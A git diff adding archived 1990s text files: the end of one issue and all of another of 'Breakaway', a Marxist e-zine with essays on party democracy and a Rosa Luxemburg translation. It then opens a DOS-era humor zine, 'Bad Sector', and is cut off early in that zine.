+Trotsky counterposed to democratic centralism the concept of +democratic centralisation, i.e. a centralisation from below. In his +view, this centralisation can only be the majority will of the rank +and file organisations, which exercise a continuous control over their +delegates. To give a flavor and the direction of Trotsky's +criticisms, here are a few passages from his pamphlet: + + + + "The system of political substitution is, as is the system of + 'economistic' simplification, derived consciously or + unconsciously from a 'sophistic' understanding of the + relationship of the objective interests of the proletariat to its + consciousness. Marxism teaches that the interests of the + proletariat are determined by its objective conditions of + existence. These interests are so imperious that they in the end + cause the proletariat to transfer them into the area of its + consciousness, i.e. to reach its objective interests by its + subjective needs. Between both these factors - the objective + factor of its class interests and its subjective consciousness - + lies, in reality unavoidable, road of knocks and blows, mistakes + and disappointments, vicissitudes and defeats. For the tactical + wisdom of the party of the proletariat, the whole task lies + between these two planes, it consists in shortening and + facilitating the road from the one to another." + + + "... If the Economists do not lead in this way the proletariat + because it trots behind them, the 'politicians' also do not lead + the proletariat because they are themselves looking to perform + their duties. If the Economists shirk their colossal tasks by + devoting themselves to a modest role, to march at the tail of + history, the 'politicians' solve the question by making history + to its own tail..." + + + "We revolutionize the masses badly or well (mostly badly) by + waking in them their elementary political instincts. However, as + long as it is the question of the complex tasks of transforming + these instincts into the conscious efforts of a political working + class determined by the class itself, we resort to the short and + simplified methods of the thoughts of standing in for others and + substitution. + + In the internal politics of the party, these methods lead, as we + will see, to the party organisation replacing the party itself, + the CC replacing the party's organisation and finally a dictator + replacing the CC; furthermore, these methods lead to the + committees creating and abolishing the 'lines', while 'the people + remain silent'. In the external politics, these methods appear + in the attempts to exert pressure on other social organisations, + not by the real power of the proletarian conscious of its own + interests but by the abstract power of the class interests of the + proletariat." + + + "We are speaking of the absolute necessity of the creation of + party members, of conscious social democrats, not, however, of + simple skilled 'detail workers'- and one answers us: 'That goes + without saying'. What does that mean? For whom does 'that' go + without saying? Does 'that' go without saying in the context of + our party work, i.e. does the creation of political thinking + party comrades an absolute, integral part of it?" + + + "Every thought that promotes the technical principle of the + division of labour to the principle of social democratic + organisation, consciously or unconsciously acquires the final + unavoidable consequence: the separation of consciousness and + implementation, the separation of social democratic thought from + technical functions by means of which these thoughts must + necessarily be realised. The 'organisation of professional + revolutionaries', more precisely its head, appears as the centre + of social democratic consciousness and underneath this centre, + the disciplined executors of technical functions are to be + found." + + + +Originally, I planned at this point to look into the historical +background of democratic centralism in some detail. Due to lack of +time, I can only skirt over the subject. If enough interest is +present, I can into this subject in some detail. + +If one reads 'What is to be Done', Lenin states clearly that his +organisational model stems from a terrorist organisation, 'Land and +Freedom'. Moreover, his ideas were based on an amalgamation of the +Marxism of the 2. International (in particular the German Marxism of +Kautsky) with the traditions of the Russian revolutionary +intelligentsia. + +The idea taken directly from Kautsky that the proletariat is only +capable of developing a trade union consciousness and therefore the +bourgeois intelligentsia, collected in the Social Democracy, is +required to 'bring in' a socialist consciousness into the working +class, determined Lenin's organisational concept. + +Despite the fact that Lenin modified his views on this subject under +pressure from without, the organisational principles derived from this +false understanding of the question of socialist consciousness +remained. The idea that the ideas of socialism are not to be explained +by the material conditions but instead are to viewed as a question of +science, higher morals and a successful propaganda activity, have since +this time bedevilled the labour movement. + +The ideas of separating out the tasks of leadership, i.e. the +separation detailed above, also have their roots in this false +understanding of the question of socialist consciousness. Instead of +it being a question of the working class being able to free itself from +the chains of capitalism, this mentality leads to this question being +reduced to a technical problem that can only be solved by technicians. +Slowly, surely and unavoidably, the whole concept of socialism is +robbed of its human content: "We have the solution and you have to put +it into practice". Having experienced this way of thinking more than +once and over a long period of time, I think I can say that this way of +thinking was prevalent in the sects. + + + +Instead of a conclusion + +It is easy to criticize, it is easy to know better. I was tempted - +despite the shortness of time available to me - to pick up on a number +of points made in the documents for your national meeting. What struck +me on reading them however, is that it is very unclear as to what you +consider to be your tasks. + +The road to hell is paved with good intentions. What sort of +organisation is required and for what purpose? It is stated in the +document Establishing a new Tradition that there is a tremendous +political vacuum existing in the current world situation. +Unfortunately, it is much more than a vacuum. The ideas of socialism, +i.e. that the workers can take charge of society, have been +discredited and most probably for a whole historical period. The +rediscovery of these ideas can only take place over a long period of +time. As we have already said in Germany, it is not even clear whether +these new ideas will acquire the name "Socialism". + +What alternatives are there going to be, how they are going to look, +etc. will only result from a long period of discussion in and with the +labour movement and also by learning from experiences. One very +important part of these discussions will undoubtedly be a reappraisal +of the history of the labour movement and its ideas. This reappraisal +will require socialists having to leave no stone unturned and really +questioning things we have always taken for granted. + +From what I have said in the article as a whole, revolutionaries will +have to take more account of a number of things that it has never +really done to any great degree in the past. Life has changed a lot +since the "great teachers". Either one has to learn to come to terms +with this fact and draw the necessary conclusions otherwise how things +will end up will be clear right from the word go - sect No. 3! + +To hold comrades together just on the basis of ideas is not going to be +a simple task. Once the pressure is off, those comrades who have +missed out on life up to know will want to catch up. Some, or perhaps +many, will leave politics altogether. + +Life is no longer going to be rosy or easy. There are no simple +solutions and to call for the nationalization of the top 200 monopolies +at every appropriate and inappropriate occasion is not going to help +either. Only by understanding what went wrong in the past and why it +went wrong, is it possible to build for the future. The form and +content this will take are still very unclear - if we recognize this +fact, there is a chance that we can do it better. But only if we do +so! + Dave Hollis, 15.4.94 + + +P.S. This document was written in a hurry and under pressure from an +ongoing struggle against redundancies. It would have been impossible +to have written it without the help and critical comments of Maggie +McQuillan, who agrees with the main lines of argument and conclusions. +In this sense, the document should be considered to have been co- +authored by her. All grammatical mistakes, mis-spellings, etc. are, +of course my responsibility. + + +---- +[1] In fact, often the leadership have been _strengthened_, since it +generally is the opposition that leaves the organisation first, leaving +the sinking ship in an even worse condition than before. Editors remark + + + +======================================================================= +(07) GENERAL INFORMATION +----------------------------------------------------------------------- + + Breakaway will be published as often as we have enough material. +"Enough" is at present about 40kb of text, but this might increase +if we get enough submissions. Under any circumstances we'll try to +limit ourselves to 40kb until we reach one issue every two weeks. +(Probably won't happen in your lifetime ;-) + + The format is, as you can see, pure 7-bit ASCII. + + + Do you: + + - want to subscribe? + - have an idea? + - have a question? + - want to submit, and want to know how? + + + Just send us a message, preferably by e-mail, and we'll send you +appropriate information as soon as possible. To ensure that we can +reply, please include your e-mail address in the body of the message. + + + +SOME BRIEF NOTES ON SUBMISSIONS +----------------------------------------------------------------------- + +* BREAKAWAY will accept articles from people belonging to all trends + or ideologies related to marxism, or from people who are simply + interested in marxist theory or practice. + +* You should limit yourself to articles between 100 and 300 lines if + possible (shorter pieces will naturally also be accepted). If you + find that difficult, try to divide your article into shorter + sections suitable for publishing over two to four issues. + +* We will publish most articles or news reports we receive concerning + marxist ideology, the actions of marxist organisations, or + information of importance to the average revolutionary. Also + fiction might be accepted (contact us for more info) + +* We accept anonymous submissions. However, if you choose to do so, + we would prefer if you give us a pseudonym to use as your + signature. + + + +How to contact Red Forum / Internationalists Committee: +----------------------------------------------------------------------- + +Editor : Vidar Hokstad +E-mail : +Snailmail : Boks 30, N-2001 Lillestroem, NORWAY +Tel. : +47 638 170 35 (5pm to 9pm GMT) + +======================================================================= + Proletarians of all countries, unite! +======================================================================= + +END BREAKAWAY.003 +. diff --git a/textfiles.com/magazines/MISC/break2n1.txt b/textfiles.com/magazines/MISC/break2n1.txt new file mode 100644 index 00000000..1c48ec9d --- /dev/null +++ b/textfiles.com/magazines/MISC/break2n1.txt @@ -0,0 +1,687 @@ + + + + This issue was meant to be finished in October. But now it's +finally here... + + One of the things that have kept me from finishing the issue +earlier, has been lack of contributions. + + Please, send me comments about the material - write your own +articles about any part of Marxism you find of importance. To be +able to continue publishing this zine, I need more people to +write for Breakaway. + + Still... Thank you to all of you for being patient with me. I'd +especially like to thank the following four people which have sent me +interesting material and/or contributed to Breakaway: + + Dave Hollis, Jack Hill, M. Spellman and Steve Deakin. + + I'm also very sorry I've not yet managed to go through my backlog +of e-mail - if any of you sent me e-mail to the address +, and haven't received a reply, it have +probably been lost among all the other messages. I know for a fact +that I have more than 3Mb of mail still waiting for me on that +address... + + Luckily I'm getting more time on my hands, so please feel free +to write again to - I promise to answer messages +sent to that address within a week or two... + +Vidar Hokstad + + +----------------------------------------------------------------------- + +BEGIN BREAKAWAY.004 + + + + + + + B R E A K A W A Y + + Debates on modern marxism + + + -+*+- + + + Volume #2, Issue #1 + + + February 1994 + + + + + +======================================================================= +CONTENTS +----------------------------------------------------------------------- + +(00) EDITORIAL + +(01) column: WHAT'S UP? + Some informal notes on issues we want to tell you about + +(02) AGAIN THE MASSES AND THE LEADERS + Article by Rosa Luxembourg, translated by Dave Hollis + +(04) column: ANNOUNCEMENTS + Socialist Voice + +(07) column: A SEARCHLIGHT ON THE INTERNET + About marxism in the US Army handbook and other stuff... + +(06) THE MAN + Poem by Percy Bysshe Shelley + +(07) GENERAL INFORMATION + How and what to submit, how to contact us, etc. + + + + +======================================================================= +(00) EDITORIAL +----------------------------------------------------------------------- + + A new year is upon us. It's been a long time. + + Though not an eventless period... Quite the contrary. +Unfortunately - as I've mentioned briefly before - work, computer +science studies, and my political activities off the Internet have +prevented me both from keeping up with my mail, and from finishing +Breakaway #4 earlier. + + Thus, this issue is smaller than intende. + + Still it contains some quite interesting material. + + Times are changing, and we are changing with it. We are +developing; undergoing a metamorphosis that will leave us with a +fundamentally new outlook on the world. + + We are in the centre of the changes... We have the theoretical +understanding to discuss, and comprehend what the emperors of +bourgeoisie subcultures have only yet started to grasp. + + On your visits in cyberspace, have you ever been to alt.cyberpunk? +Have you felt the tide of anti authoritarianism, peeling the fresh +paint of capitalism, to reveal it the way it really is. Still, the +naivete that flows throughout the system... + + ...we need not preach about rebellion. Rebellion lies latent in the +human soul. It grows whenever oppression is there to nurture it. What +we need is to provide understanding of who the oppressors are, and how +they can be fought. + + Often we are called old fashioned and dogmatic, even orthodox. The +day the wanna be anarchists of alt.cyberpunk, and their likes, +understand the fundamental error of that "logic", capitalism will meet +the proletariat of the next century. + + When the middle class rebels find themselves in the same boat as +the poor people they once despised; when they start using their +knowledge of technology, their skills with computers, for fighting the +capitalists, the ideology they today only curse on USENET, the ruling +class should watch out. + + It is only a matter of time before these people discover that they +are already living in the kind of world they are reading about in their +favorite books. + + That the only real difference, apart from the technical wonders of +the 21th century, is just that in the real world, people won't surrender +to the capitalist imperium - in the real world, capitalist reign isn't +eternal. + + Tomorrow, hundreds of new comrades will have discovered, that the +dogmas, the orthodoxy, are so much more a vital characteristic of +capitalism, than it is a characteristics of it's child; it's successor. + + The only question that remains, is: Will you welcome them, or will +you, as the stalinists, reject them as opportunists? Will we fight with +them, or against them? + +Vidar Hokstad +Editor + + +======================================================================= +(01) column: WHAT'S UP? +----------------------------------------------------------------------- + +- The mailing list red.talk.misc@rforum.no will be up shortly. + + (But the software is beta versions, so some bugs are bound to + be discovered...) + + It is intended as a forum for discussion about RED FORUM and + BREAKAWAY. Red Forum members and Breakaway subscribers are + particularly welcome. + + To subscribe, send mail to rfic@rforum.no and request + that we put you on the mailing-list. + + The list gatewayed bidirectonally to our local "red.talk.misc" + newsgroup. The red.* hierarchy will be extended in the near + future, and will be set up to mirror a lot of leftist lists. + SysAdmins that are interested in carrying this hierarchy as + true newsgroups can contact us at rfic@rforum.no to discuss + it with us. + + + +- Preparations for a Marxism FAQ (Frequently Asked Questions) are + being made. However we do not have the time to complete such a + big task ourselves. People that are interested in helping us out + with the task can write to , and we'll + mail you a draft of the FAQ for you to comment on. + + + +======================================================================= +(02) AGAIN THE MASSES AND LEADERS +----------------------------------------------------------------------- + +Translated by Dave Hollis +The translation and is (C)opyright October 1994 by Dave Hollis + + +ROSA LUXEMBURG AND MASS ACTION +----------------------------------------------------------------------- + +Dear Vidar, + +This is really the final version of the article - promise! The +following article and the translation is also being published in the +next issue of a magazine called New Interventions, a journal of +Socialist Discussion and Opinion. (Published in England). Permission +to publish the introduction was given by Ken. Further details of the +magazine can be obtained from its editor, Ken Tarbuck. His mail +address is: ktarbuck@gn.apc.org + +Socialist Greetings, Dave + + +Introduction + + The translation of the following article, which is being published +here for the first time in English, is one of many articles that Rosa +Luxemburg wrote on and around the question of the 'Agadir incident'. + + This incident was sparked off by Germany's attempt to spread her +influence over the whole of Morocco. In view of the possibilities of a +war breaking out on this issue, the French Socialists took this incident +as grounds for wanting an international demonstration for Socialism. +The French requested a meeting through the International Socialist +Bureau of the Social-Democratic organisations of those countries +involved in this incident, France, Spain, the UK and Germany. With the +exception of Germany, all participants were in agreement. A full time +secretary of the SPD party executive, Hermann Molkenbuhr, informed the +International Socialist Bureau, however, that the Germans did not want a +conference "for the time being". + + Molkenbuhr considered the Morocco incident to be of no danger. The +interests of the various German Steel companies, Mannesmann on the one +side, and Krupp and Thyssen in a French mining syndicate on the other, +would lead the capitalists to putting on the brakes soon enough. +Furthermore, he considered that taking up the issue would lead to a +diversion from the internal issues and therefore damage the chances of +the SPD in the coming general election. + + As was often the case, the rank and file of the SPD was more radical +than the leadership and saw things differently. They took up the +question in the run up to the elections. In Berlin and in the large +cities of Prussia the rank and file held protest meetings against the +sending of the warships, Panther and Berlin, to Agadir. + + Rosa Luxemburg, as a member of the International Secretariat, had +received a copy of Molkenbuhr's letter. Obviously very unhappy with its +content, she published it on 24th July 1911 in the newspaper, Leipziger +Volkszeitung, with a withering criticism from herself. + + The publication of the letter caused an uproar in the party, +published in the middle of an international crisis and before the party +executive had done anything, it brought the dissatisfaction with the +party executive to the boil. This revelation forced the executive on +9th August to begin the agitation on the Morocco question. It did not, +however, pacify the membership. + + At the Jena Conference, the party executive tried to make out of a +'Morocco' affair a 'Luxemburg' affair, accusing her of disloyalty and +indiscretion. This attack backfired. The centrists sided with the +'lefts' around Rosa Luxemburg and the party reform went through. Two +new secretary posts came into being, and the post of co-chairman went to +a prominent left centrist, Hugo Haase, who replaced the deceased Paul +Singer. + + The article, however, is not being published for the information it +provides us on the Agadir incident, rather because it gives us a very +interesting insight into Rosa Luxemburg's views on the question of party +organisation and her attitude to what has gone down in the literature as +her views on 'spontaneity'. These views are not only of historical +interest but also for the current debates within the labour movement, +both nationally and internationally. + + The article also gives a small insight into the workings of the SPD. +I suspect that it is generally unknown that the SPD was quite a +centralised party. It was no accident, for instance, that the attempts +by the Bolsheviks to export the Bolshevik methods of organisation, +epitomised by the 21 Conditions for entry into the Third International, +met with enormous resistance from those members of the CP who stemmed +from the SPD. Their bad experiences with centralism led to the KPD, for +a few years, being an extremely democratic party. But that is another +story! + + In so far as time admits, in the coming months I will try to present +various articles unknown to the English speaking public. Her writings +in German consist of five volumes and her personal letters consist of +six volumes. Not that is all. There is a volume of her writings that +has yet to see the light of day. There is a reference to it in an +international scientific journal. The volume consists of her Polish +writings. Alas, the enquiries I have made as to when it will be +published, indicate that there are currently no plans to do so. + +Dave Hollis + + + + +AGAIN THE MASSES AND LEADERS +----------------------------------------------------------------------- +~ Copyright Translation Dave Hollis, October 1994. + + + +AGAIN THE MASSES AND LEADERS + +Leipzig, 29th August + + News is coming in from all sides about the meetings and +demonstrations organised by our party against the foreign policy and the +Morocco line. The popular masses are answering our appeal everywhere +with the greatest enthusiasm, and this proves how much we have met the +feelings and mood of the masses by giving them a political expression, +solution and direction. Now only one opinion predominates in the whole +of the party, that a mass action against the Morocco affair and an +energetic agitation in the field of foreign policy was an irrefutable +task of Social-Democracy and an urgent necessity. + + And now the question immediately posed by this: Why was this +campaign not begun one or two months ago? The dispatch of the German +gunboat to Agadir, with which Germany officially intervened in the +Morocco affair, took place on the 2nd of July. Already in the first +week of July, the protest of the French and Spanish Socialists was in +full swing. Instead of immediately initiating at that time the +agitation with all one's might, we are bringing up the rear and dragging +ourselves along in the wake of events and are at least one to one and a +half months too late. In this important case our political +quick-wittedness has left a lot to be desired. Why? + + One will answer: The party executive has showed an unfortunate lack +of initiative. Its call for action was not published until the 9th of +August and therefore the meetings could first begin in the second half +of August. To be sure, but must the party wait for the official call of +the party executive? If today everyone in the party without exception +sees the necessity for action against the world politics, cannot the +local party organisations do something on their own initiative, like the +Stuttgart comrades have done? [1] It is extraordinarily easy to put the +blame on the party executive, who for their part may really have acted +with a lack of determination and energy. However, a no smaller part of +the blame is to be put on those who always expect all salvation from +above and even in such clear and indubitable cases shy away from a +little self-activity and personal initiative. Of course campaigns of +the party on this scale require uniformity and unity in order to be most +effective, which can be best bro ught about from a centre. In this +respect, especially the example of several old centres of the party +movement, who would rouse all the remaining local organisations, would +certainly not miss their mark. To be sure, also the party executive, as +leading centre, would soon see itself forced to generalise every massive +initiative and good beginning by making itself the mouthpiece and tool +of the will of the party, instead of, as now, the other way round, the +party executive viewing the great and powerful party organisations as +being just an instrument for carrying out the instructions of the party +executive. + + It must also be said openly: only when there is a reversal of the +present abnormal relations would life within the party first stand on a +normal footing. It is stated in the Communist Manifesto that the +emancipation of the working class can only be the work of the working +class itself and it understands by the working class not a party +executive of seven or twelve but the enlightened mass of the proletariat +in person. Every step forward in the struggle for emancipation of the +working class must at the same time mean a growing intellectual +independence of its mass, its growing self-activity, self-determination +and initiative. How should the capability of action and political +quick- wittedness of the broad popular masses develop if the vanguard of +these masses, the best and most enlightened sections united in the +Social-Democratic Party organisations, exhibit for their part no +initiative and independence as masses, on the contrary, always be at the +ready until a command is issued from above? Discipline and unity of +action is a vital matter for mass movements like ours. + + However, discipline in the Social-Democratic sense differs +fundamentally from the discipline of the bourgeois armed forces. There +it is based on the unthinking and submissive subordination of the bulk +of the soldiers to the command of authority expressing an outside will. +Social-Democratic discipline can only mean the subordination of every +individual to the will and the thought of the great majority. Therefore +Social-Democratic discipline can never mean that eight hundred thousand +organised party members have to bow to the will and regulations of a +central authority of a party executive but the opposite, all central +organs of the party having to carry out the will of the eight hundred +thousand organised social democrats. Important for the normal +development of the political life in the party, a vital matter for the +Social-Democracy, is therefore based on always keeping the political +thought and the will of the mass of the party awake and active, and thus +enabling them in increasing measure to be active. We have, of course, +the yearly party conference as highest instance which regularly fixes +the will of the whole party. However, it is obvious that the party +conferences can only give general outlines of the tactics for the +Social-Democratic struggle. The application of these guidelines in +practice requires a constant, untiring thought, quick-wittedness and +initiative. The decisions of the party conferences obviously do not in +the slightest exhaust the regular tasks of the political struggle, for +life does not stand still, and from one party conference to the other +many things take place in heaven and earth to which the party must +react. To want to make a party executive responsible for the whole +enormous task of daily political vigilance and initiative on whose +command a party organisation of almost a million passively waits, is the +most incorrect thing there is from the standpoint of the proletarian +class struggle. That is without doubt that reprehensible "blind +obedience" which our opportunists definitely want to see in the +self-evident subordination of all to the decisions of the whole party. + + One can often hear in our ranks complaints about the bureaucratism +of our highest party authorities that is said to be killing the living +political energy. These complaints are also totally justified. Just +those who express them surely take little account of the fact that to a +large extent the lamented state has its roots in the nature of things. +Every body with daily official office work tends to fall into +bureaucratism and routine. Besides, such high-ranking bodies naturally +have a strongly developed feeling of responsibility that unquestionably +has a strongly paralysing effect on initiative and determination. A +real remedy against this bad state of affairs is only the living +political activity of the entire party. The most ideal party executive +of a party like the social democracy would be the one that would +function as the most obedient, most prompt and most precise tool of the +will of the entire party. + + However, the most ideal party executive would be able to achieve +nothing, would involuntarily sink into bureaucratic inefficiency if the +natural source of its energy, the will of the party, does not make +itself felt, if critical thought, the mass of the party's own initiative +is sleeping. In fact it is more than this. If its own energy, the +independent intellectual life of the mass of the party, is not active +enough, then the central authorities have the quite natural tendency to +not only bureaucratically rust but also to get a totally wrong idea of +their own official authority and position of power with respect to the +party. The most recent so-called "secret decree" of our party executive +to the party editorial staffs [2] can serve as fresh proof, an attempt +to make decisions for the party press, which cannot be sharply enough +rejected. However, also here it is necessary to make clear: Against +both inefficiency and excessive illusions of power of the central +authorities of the labour movement there is no other way except one's +own initiative, one's own thought, and the own fresh pulsating political +life of the broad mass of the party. + + The questions touched upon here are of more than academic interest +in the current situation. It has been recognised from different sides +in the party that the current state of the party executive needs to be +improved, an extension and renewal of our highest party authorities is +seen to be necessary. Recently our Elberfeld organ also wrote like that +on the occasion of the Morocco debate: + + "At least one must agree with the 'Leipziger Volkszeitung' that the +party executive should have taken the initiative for a campaign. + + "Well, we are also quite convinced after a closer examination of the +matter that the sin of the party executive of failing to do something +must be judged more mildly. The administrative machinery of the party +has become so extensive that the number of members of the party +leadership is no longer enough to fulfil all the requirements that are +to be made on it as seems necessary. The gap left by Comrade Singer has +not been filled; if we add to this the case that a member of the party +executive or even two may well be outside of Berlin for the carrying out +of party business or for agitation, a further member were to be ill, a +fourth and fifth were on holiday - certainly nobody would want to deny +the very busy members of the party executive that - it cannot fail to +happen that a small minority has to decide on sudden appearing, +important questions and that these questions would have sometimes have +been dealt with differently if the whole of the executive had got +together. The contradiction is also certainly to be explained by this +dilemma that the letter of the party executive [3] is described by the +party office as being the private opinion of the letter writer while it +was naturally received outside as a letter of the party executive. The +Jena party conference will have to decide a strengthening of the party +executive. A motion has already been put on this matter by two +constituencies - Tetlow-Beeskow and Berlin I. " + + The view expressed here of the necessity of strengthening the party +executive is perfectly correct and the party conference must not be +allowed to shirk from its important task in this field. If our party +pacifies itself with the strengthening of the party executive and again +passively expects all salvation from the "new men", as for example it +passively waited one and a half months for the conductor's baton of the +party executive for the unfolding of the protest action against the +Morocco affair, it would merely mean wanting to come up with purely +bureaucratic means against the evil of bureaucratism. No party +executive in the world can replace the mass of the party's own energy, +and an organisation of a million which, at a great time and in the face +of great tasks, would want to complain that it did not have the right +leaders would prove its own shortcomings, because it would prove it has +not understood the historical essence itself of the proletarian class +struggle that consists in the proletarian masses not needing "leaders" +in a bourgeois sense, that they are themselves leaders. + +Leipziger Volkszeitung No. 199, 29th August 1911 + + +---- +[1] On 15th July 1911, a protest gathering took place in Stuttgart at +which Karl Liebknecht was the mover of a resolution against German +imperialism's Morocco policies, which was unanimously adopted. + +[2] On 8th August 1911 the SPD party executive wrote a confidential +circular to the editorial boards of the party press to try to stop +them publishing criticisms of the leading trade union bodies and +articles on differences in the book printers' union that had been +caused by anti-worker decisions of their executive. The party +membership found out about the circular through a bourgeois paper in +Saxony into whose hands the circular had fallen. The contents of the +circular led to a considerable amount of displeasure in the party over +the actions of the party executive. + +[3] Molkenbuhr's letter is meant here. + +Taken from the text, Rosa Luxemburg, Gesammelte Werke, Vol.3 Dietz, +Berlin 1973, 4th edition. + + + +======================================================================= +(04) ANNOUNCEMENTS +----------------------------------------------------------------------- + +A while ago I received this annoucement... I'm sure a newer issue +should be out by now.. + +Ed. + +---- + + + SOCIALIST VOICE + + + To receive the SV by email send email to SMacSuibhne@Dit.Ie + +======================================================================= + SOCIALIST VOICE Guth an Lucht Oibre + + October 14th 1994 Vol. 4. No. 18 Price 20p. +======================================================================= + Published by + Connolly Books, + 43 East Essex Street, + Dublin 2. + + For further information, contact Eugene McCartan + at the above address. + Telephone: Dublin (01) 6711 943. +'---------------------------------------------------------------------- + CONTENTS: + + AFTER THE LOYALIST CEASEFIRE - A Progressive Agenda + AN INVITATION TO READERS + EAGARFHOCAL - EDITORIAL + FIGHT FOR JOBS NOT SINECURES + +'---------------------------------------------------------------------- + + + +======================================================================= +(05) A SEARCHLIGHT ON THE INTERNET +----------------------------------------------------------------------- + +During a few massive searches of World Wide Web, using the LYCOS system +at Carnegie Mellon, I found a lot of interesting pieces of information. + +Here's a few of them: + + + +* MARX: The movie + + gopher://jefferson.village.virginia.edu:70/00/pubs/pmc/ + issue.990/kipnis.990 + + A movie manuscript. I haven't had the time to read it through, + but the parts I've read at least seems interesting. + + + +* SPUNK press + + http://www.cwi.nl/cwi/people/Jack.Jansen/spunk/Catalog.html + + This server contains mostly anarchist material, but there's + *LOTS* of information, and parts of it should certainly be + of interest to socialists and communists as well. Worth a + look! The poem by Shelley in this issue was found here. + + + +* CHAPTER 11.06: MARXISM-LENINISM-MAO ZEDONG THOUGHT RE-THOUGHT + + gopher://umslvma.umsl.edu:70/00/LIBRARY/GOVDOCS/ARMYAHBS/AAHB9 + /AAH90084 + + This document is a section from the US Army Area Handbook for + Asia. I've mentioned it here mostly as an interesting source of + information about how the enemy perceive Marxism. + + + +* Russian and East European Network Information Center / + Soviet Archives Exhibit + + http://sunsite.unc.edu/expo/soviet.exhibit/entrance.html + http://reenic.utexas.edu/reenic.html + + Whether we like it or not, the socalled socialist regimes in + East Europe and the USSR will for years to come be associated + with the revolutionary movement. + + Much of the material on these two servers are hostile to socialism, + but they provide interesting material in the form of replicas of + authentic archive material, and information about the current + development and history of the former stalinist regimes. + + + +======================================================================= +(06) THE MAN +----------------------------------------------------------------------- + + Of virtuous soul commands not, nor obeys: + Power, like a desolating pestilence, + Pollutes whate'er it touches, and obedience + Bane of all genius, virtue, freedom, truth, + Makes slaves of men, and, of the human frame, + A mechanized automaton. + Percy Bysshe Shelley + + + +======================================================================= +(07) GENERAL INFORMATION +----------------------------------------------------------------------- + + Breakaway will be published as often as we have enough material. +"Enough" is at present about 40kb of text, but this might increase +if we get enough submissions. Under any circumstances we'll try to +limit ourselves to 40kb until we reach one issue every two weeks. +(Probably won't happen in your lifetime ;-) + + The format is, as you can see, pure 7-bit ASCII. + + + Do you: + + - want to subscribe? + - have an idea? + - have a question? + - want to submit, and want to know how? + + + Just send us a message, preferably by e-mail, and we'll send you +appropriate information as soon as possible. To ensure that we can +reply, please include your e-mail address in the body of the message. + + + +SOME BRIEF NOTES ON SUBMISSIONS +----------------------------------------------------------------------- + +* BREAKAWAY will accept articles from people belonging to all trends + or ideologies related to marxism, or from people who are simply + interested in marxist theory or practice. + +* You should limit yourself to articles between 100 and 300 lines if + possible (shorter pieces will naturally also be accepted). If you + find that difficult, try to divide your article into shorter + sections suitable for publishing over two to four issues. + +* We will publish most articles or news reports we receive concerning + marxist ideology, the actions of marxist organisations, or + information of importance to the average revolutionary. Also + fiction might be accepted (contact us for more info) + +* We accept anonymous submissions. However, if you choose to do so, + we would prefer if you give us a pseudonym to use as your + signature. + + + +How to contact Red Forum / Internationalists Committee: +----------------------------------------------------------------------- + +Editor : Vidar Hokstad +Contributions : Breakaway +Red Forum : RFIC +Snailmail : Soerumsg. 63, N-2000 Lillestroem, NORWAY +Tel. : +47 638 170 35 (5pm to 9pm GMT) + +======================================================================= + Proletarians of all countries, unite! +======================================================================= + +END BREAKAWAY.004 +. diff --git a/textfiles.com/magazines/MISC/bs0294.txt b/textfiles.com/magazines/MISC/bs0294.txt new file mode 100644 index 00000000..8207c629 --- /dev/null +++ b/textfiles.com/magazines/MISC/bs0294.txt @@ -0,0 +1,651 @@ +A:\Backup C: +Bad Sector(s) on disk A:\ +File(s) Not found +(A)bort (R)etry (G)o Insane + + Datawaste Productions + Is + Proud to Present: + + ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ + ÛÛÛÛÛ°°°°°°±±±±±±²²²²²²ÛÛBAD SECTORÛÛ²²²²²²±±±±±±°°°°°°ÛÛÛÛÛ + ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ + + °°°°°°±±±±±²²²²ÛÛIN STEREO WHERE AVAILABLE!ÛÛ²²²²±±±±±°°°°°° + ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛISSUE I VOLUME I SERIES I ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ + ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + + A feeble attempt at humor slightly related to anything + dealing with the online community. + + + STAFF + + Editor in chief and + Sect. Of Defense candidate: Vince Lortho + + Submitting Writers: + Don Karnage + Mitch Tegram + Tom Leats + + + + Table Of Contents: + + 1. Table of Contents. + 2. Why. + 3. New Product Information. + 4. Virus Research. + 5. New Taglines. + 7. 50+ ways to Mess with your room-mate. + 8. Top-Ten List. + 9. The McDonald Story + 10. First issue complete. + 10. Word of the month. + 11. Question of the month. + 12. How to find Us. +__________________________________________________________________ +------------------------------------------------------------------ +Note: Microsoft has made great strides in software advancement yet + in all the advancements they have not been able to tell the + the difference between one and greater than one. + To test this type: + C:\copy *.* c:\temp + 1 file(s) copied. + + + Why. + By Vince Lortho + + Why? That's a good question. Why would someone like myself who could + be having a good life and job and family want to produce this complete + waste of time. This magazine will cause no changes in your life. + It will only waste time. You read through some of it and read more and + more then when you're done you'll have wasted fifteen minutes that could + have been spent with your children or girlfriend or boyfriend or parole + officer. But if you're like most people who BBS and travel around the + nets daily then fifteen minutes is nothing. You probably don't have a + girl/boy friend anyway. If your like me you just read the easy 179k + docs for a file that you don't need. + + Most of it is just legal doctrines and disclaimers. I found a copy of + the Magna Carta in the docs for PKZIP 3.0 plus I found a nice little + trojan. How many people have heard this: + + "Honey, You spend more time with that...COMPUTER than you do with me!" + + "What did you say dear?" + + Well this magazine is for you. This is the first issue so it's going + to suck big time but then at the end I'll put a statement that says + the next issues will be ten times better and I need authors to submit + humor. I hope no one is offended with anything in this magazine. You + can sue me but I doubt you'll get anything other than a computer and + a wall of Mt. Dew cans. OK. Enough of this, you probably stopped reading + already so who cares. Blah, blah, blah, blah....Number Nine..Number nine. + +------------------------------------------------------------------------ + +New software developments. + +Beyond 2000: new Software developments. +By Mitch Tegram + +BBS Programs + +BORGE BBS + +Datamaster Inc. +1 Analretentive ave. +Kwigillingak, AK 99210 +(800)-EXP-ENSV + +BORGE BBS is a brand new software that is rumored to be 100% +hacker proof and has state-of-the-art security features. +System requirements: +Dos 